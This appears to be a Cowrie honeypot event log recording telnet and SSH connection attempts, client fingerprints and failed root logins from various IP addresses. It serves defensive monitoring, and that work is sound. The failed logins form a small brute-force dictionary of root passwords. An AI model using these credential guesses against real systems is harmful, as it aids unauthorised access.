{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":55148,"dst_ip":"10.17.0.5","dst_port":23,"session":"bfb449f78ee9","protocol":"telnet","message":"New connection: 152.42.224.71:55148 (10.17.0.5:23) [session: bfb449f78ee9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:27:49.500187Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":54872,"dst_ip":"10.17.0.5","dst_port":23,"session":"a815dabee304","protocol":"telnet","message":"New connection: 152.42.224.71:54872 (10.17.0.5:23) [session: a815dabee304]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:28:02.440681Z"}
{"eventid":"cowrie.session.closed","duration":42.721697092056274,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:28:03.178653Z","src_ip":"152.42.224.71","session":"ed4bcf15b396","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":54878,"dst_ip":"10.17.0.5","dst_port":23,"session":"b8e214da8fd7","protocol":"telnet","message":"New connection: 152.42.224.71:54878 (10.17.0.5:23) [session: b8e214da8fd7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:28:03.697329Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":54884,"dst_ip":"10.17.0.5","dst_port":23,"session":"0b0fc0c9be2e","protocol":"telnet","message":"New connection: 152.42.224.71:54884 (10.17.0.5:23) [session: 0b0fc0c9be2e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:28:04.558798Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.183.114.55","src_port":35876,"dst_ip":"10.17.0.5","dst_port":22,"session":"141b2819eeb7","protocol":"ssh","message":"New connection: 103.183.114.55:35876 (10.17.0.5:22) [session: 141b2819eeb7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:28:07.790627Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:28:07.803981Z","src_ip":"103.183.114.55","session":"141b2819eeb7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:28:08.018706Z","src_ip":"103.183.114.55","session":"141b2819eeb7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"777666","message":"login attempt [root/777666] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:28:08.912272Z","src_ip":"103.183.114.55","session":"141b2819eeb7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":34078,"dst_ip":"10.17.0.5","dst_port":23,"session":"2d28cd709a68","protocol":"telnet","message":"New connection: 152.42.224.71:34078 (10.17.0.5:23) [session: 2d28cd709a68]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:28:09.183878Z"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:28:10.141336Z","src_ip":"103.183.114.55","session":"141b2819eeb7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":44.498133182525635,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:28:10.379817Z","src_ip":"152.42.224.71","session":"664de643e816","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"52.236.56.129","src_port":59168,"dst_ip":"10.17.0.5","dst_port":22,"session":"76b35b4ceed2","protocol":"ssh","message":"New connection: 52.236.56.129:59168 (10.17.0.5:22) [session: 76b35b4ceed2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:28:21.747170Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:28:21.756181Z","src_ip":"52.236.56.129","session":"76b35b4ceed2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:28:21.823373Z","src_ip":"52.236.56.129","session":"76b35b4ceed2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"data","message":"login attempt [root/data] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:28:22.123257Z","src_ip":"52.236.56.129","session":"76b35b4ceed2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:28:23.194315Z","src_ip":"52.236.56.129","session":"76b35b4ceed2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":54920,"dst_ip":"10.17.0.5","dst_port":23,"session":"252cf3fd3646","protocol":"telnet","message":"New connection: 152.42.224.71:54920 (10.17.0.5:23) [session: 252cf3fd3646]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:28:24.201206Z"}
{"eventid":"cowrie.session.closed","duration":37.14944934844971,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:28:26.649517Z","src_ip":"152.42.224.71","session":"bfb449f78ee9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":51.395944356918335,"message":"Connection lost after 51 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:28:31.818841Z","src_ip":"152.42.224.71","session":"541c6f326a41","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.6.86","src_port":37104,"dst_ip":"10.17.0.5","dst_port":22,"session":"6bee609b5533","protocol":"ssh","message":"New connection: 165.154.6.86:37104 (10.17.0.5:22) [session: 6bee609b5533]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:28:32.616120Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:28:32.621493Z","src_ip":"165.154.6.86","session":"6bee609b5533","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:28:32.837369Z","src_ip":"165.154.6.86","session":"6bee609b5533","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"166.1.144.134","src_port":36700,"dst_ip":"10.17.0.5","dst_port":22,"session":"5f25f6049558","protocol":"ssh","message":"New connection: 166.1.144.134:36700 (10.17.0.5:22) [session: 5f25f6049558]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:28:33.455644Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:28:33.460035Z","src_ip":"166.1.144.134","session":"5f25f6049558","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:28:33.561161Z","src_ip":"166.1.144.134","session":"5f25f6049558","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"setup","message":"login attempt [root/setup] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:28:34.008005Z","src_ip":"166.1.144.134","session":"5f25f6049558","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"P4ssword!","message":"login attempt [root/P4ssword!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:28:34.366563Z","src_ip":"165.154.6.86","session":"6bee609b5533","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:28:35.112234Z","src_ip":"166.1.144.134","session":"5f25f6049558","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.227.158","src_port":17856,"dst_ip":"10.17.0.5","dst_port":22,"session":"0df717e6c4a0","protocol":"ssh","message":"New connection: 165.154.227.158:17856 (10.17.0.5:22) [session: 0df717e6c4a0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:28:35.300398Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:28:35.305877Z","src_ip":"165.154.227.158","session":"0df717e6c4a0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:28:35.528674Z","src_ip":"165.154.227.158","session":"0df717e6c4a0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.0","message":"Connection lost after 3.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:28:35.584378Z","src_ip":"165.154.6.86","session":"6bee609b5533","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"vini1234","message":"login attempt [root/vini1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:28:36.458335Z","src_ip":"165.154.227.158","session":"0df717e6c4a0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:28:37.683500Z","src_ip":"165.154.227.158","session":"0df717e6c4a0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.135.139.74","src_port":55728,"dst_ip":"10.17.0.5","dst_port":22,"session":"8daeda28da0d","protocol":"ssh","message":"New connection: 43.135.139.74:55728 (10.17.0.5:22) [session: 8daeda28da0d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:28:41.073751Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:28:41.079059Z","src_ip":"43.135.139.74","session":"8daeda28da0d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:28:41.147902Z","src_ip":"43.135.139.74","session":"8daeda28da0d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Dd123456","message":"login attempt [root/Dd123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:28:41.453717Z","src_ip":"43.135.139.74","session":"8daeda28da0d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:28:42.525929Z","src_ip":"43.135.139.74","session":"8daeda28da0d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":46.12182569503784,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:28:48.562396Z","src_ip":"152.42.224.71","session":"a815dabee304","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00340509414673,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:28:51.348238Z","src_ip":"152.42.224.71","session":"cfe123fe5e08","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.740905284881592,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:28:54.942014Z","src_ip":"152.42.224.71","session":"252cf3fd3646","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"117.121.214.50","src_port":19461,"dst_ip":"10.17.0.5","dst_port":22,"session":"f419cd43769d","protocol":"ssh","message":"New connection: 117.121.214.50:19461 (10.17.0.5:22) [session: f419cd43769d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:29:01.515543Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:29:01.521481Z","src_ip":"117.121.214.50","session":"f419cd43769d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:29:01.779639Z","src_ip":"117.121.214.50","session":"f419cd43769d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":47928,"dst_ip":"10.17.0.5","dst_port":23,"session":"85dcbc36080f","protocol":"telnet","message":"New connection: 152.42.224.71:47928 (10.17.0.5:23) [session: 85dcbc36080f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:29:02.222206Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"warchief","message":"login attempt [root/warchief] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:29:02.823758Z","src_ip":"117.121.214.50","session":"f419cd43769d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:29:04.081325Z","src_ip":"117.121.214.50","session":"f419cd43769d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":62.33377289772034,"message":"Connection lost after 62 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:29:11.517540Z","src_ip":"152.42.224.71","session":"2d28cd709a68","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"77.94.47.83","src_port":45140,"dst_ip":"10.17.0.5","dst_port":22,"session":"6b1dcded3b09","protocol":"ssh","message":"New connection: 77.94.47.83:45140 (10.17.0.5:22) [session: 6b1dcded3b09]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:29:14.459098Z"}
